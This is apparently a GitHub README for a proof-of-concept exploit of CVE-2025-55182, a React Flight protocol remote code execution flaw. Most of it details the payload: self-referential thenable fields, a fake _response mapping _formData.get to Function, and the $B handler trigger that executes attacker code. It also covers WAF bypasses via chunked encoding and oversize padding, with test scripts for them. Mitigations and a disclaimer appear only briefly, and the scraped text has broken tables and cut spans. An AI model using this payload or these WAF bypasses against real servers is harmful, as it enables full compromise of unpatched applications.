CVE-2025-55182 POC
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains path traversal + fake chunk injection + $B handler abuse to execute Function(attacker_code).
Big thanks to maple3142 for the working exploitation chain!
The exploit uses three form fields to construct a malicious payload:
then (field 1 $@0 → field 0)_response with _formData.get set to $1:constructor:constructor$B handler which calls response._formData.get(response._prefix + id)_formData.get → Function, executing Function(code)…| Component | Purpose |
|---|---|
then: "$1:__proto__:then" |
Self-referential thenable; chunk 1 ($@0) points back to chunk 0 |
status: "resolved_model" |
Makes object appear as valid React chunk |
reason: -1 |
Sets rootReference to undefined (avoids reference conflicts) |
value: '{"then":"$B1337"}' |
Nested payload that triggers $B handler |
_response._prefix |
Contains the RCE code string |
_response._chunks: "$Q2" |
Empty Map to prevent crashes during chunk processing |
_response._formData.get |
Points to Function via $1:constructor:constructor |
The exploit uses three form fields with circular references:
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Mapthen)The then: "$1:__proto__:then" creates a self-reference that resolves to a real function:
$1:__proto__:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.__proto__.then → Chunk.prototype.then (actual function!)Why this is critical:
then resolves to Chunk.prototype.then - a real callable functionobj.then(resolve, reject)Chunk.prototype.then executes with fake object as this:Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!initializeModelChunk(this) uses this._response - the attacker's fake _response:value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);Without the self-reference, the fake _response would never be used. The self-reference makes Chunk.prototype.then treat the attacker's object as a real Chunk.
value)The value field contains a nested JSON string with another thenable:
{"then":"$B1337"}Stage 1: Outer object's self-referential then triggers chunk processing
Stage 2: When React resolves the model, it parses value and encounters another thenable with then: "$B1337". The $B prefix triggers the handler:
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"_formData.get is "$1:constructor:constructor" → getOutlinedModel() resolves to Function.
This becomes: Function(code + "1337") → valid JS because 1337 is just a trailing expression.
_chunks)The fake _response needs a valid _chunks property to prevent crashes:
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])React's internal code may access response._chunks.get() or response._chunks.has() during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable $B handler.
| Path | Function | Purpose in Exploit |
|---|---|---|
| Path Traversal | getOutlinedModel() |
Resolves $1:constructor:constructor → Function |
Fake _response Injection |
initializeModelChunk() |
Uses attacker's chunk._response |
$B Handler |
parseModelString() |
Calls _formData.get(_prefix + id) → RCE |
decodeReply() is the entry point, not vulnerable itself.
Path Traversal (getOutlinedModel()):
…| WAF Type | Chunk Handling | Bypass Possible? |
|---|---|---|
| AWS WAF (ALB) | Reassembles before inspection | Unlikely |
| AWS WAF (CloudFront) | Reassembles before inspection | Unlikely |
| Some legacy WAFs | Inspect per-chunk | Yes |
| Nginx ModSecurity | Configurable | Depends on config |
Note: AWS WAF typically reassembles chunked bodies before inspection. However, this should be verified per-environment as configurations vary.
Change OversizeHandling to MATCH
"OversizeHandling": "MATCH"This blocks any request exceeding the inspection limit when rule conditions are met.
Increase body inspection limit (CloudFront/API Gateway only) Configure up to 64KB in web ACL settings, but this doesn't fully prevent the bypass.
Add size-based blocking rule
Block POST requests with Next-Action header exceeding a reasonable size (e.g., 10KB).
Patch the application - The only complete solution.
See included test scripts:
test-simple.cjs - Baseline non-chunked payload testtest-oversize.cjs - Tests padding sizes from 0-128KBtest-chunked-v2.cjs - Chunked transfer encoding with $@ splittest-chunked-bypass.cjs - Multiple chunking strategies (5-byte, 10-byte, pattern splits)Usage:
# Start vulnerable Next.js server (port 3000)
cd nextjs-test && npm run dev
# Run tests
node test-simple.cjs # Baseline
node test-oversize.cjs # Oversize body bypass
node test-chunked-v2.cjs # Chunked $@ split
node test-chunked-bypass.cjs # All chunking strategiesfunction getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}With payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]While we obtained Function, achieving RCE requires calling it with controlled arguments. These paths failed:
1. Thenable Path (Blocked)
// Attempt: { then: Function }
// When awaited, V8 calls: Function(resolve, reject)
// resolve.toString() = "function () { [native code] }"
// Result: SyntaxError - invalid parameter name2. decodeAction Path (Blocked)
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body3. Iterator Path (Blocked)
// Function.bind(null, code) needs TWO calls to execute
// React only calls iterator once
// Result: Returns bound function, doesn't executemaple3142 found the missing piece: the $B handler + fake _response chain. By making then resolve to Chunk.prototype.then via self-reference, the fake _response gets used, enabling RCE.
getOutlinedModel() vulnerability is real - Colon-separated paths allow prototype chain traversal
Function constructor is accessible - $1:constructor:constructor works without serverManifest
RCE is achievable - By crafting a fake chunk with controlled _response:
$1:__proto__:then → Chunk.prototype.then makes fake _response get used_response._formData.get → Function constructor_response._prefix → malicious code string$B handler triggers Function(malicious_code)The fix is comprehensive - Multiple hasOwnProperty checks and type validations
This repository is for educational and defensive security research only. The vulnerability has been patched. Upgrade your dependencies immediately.
No open issues yet, or sync has not completed.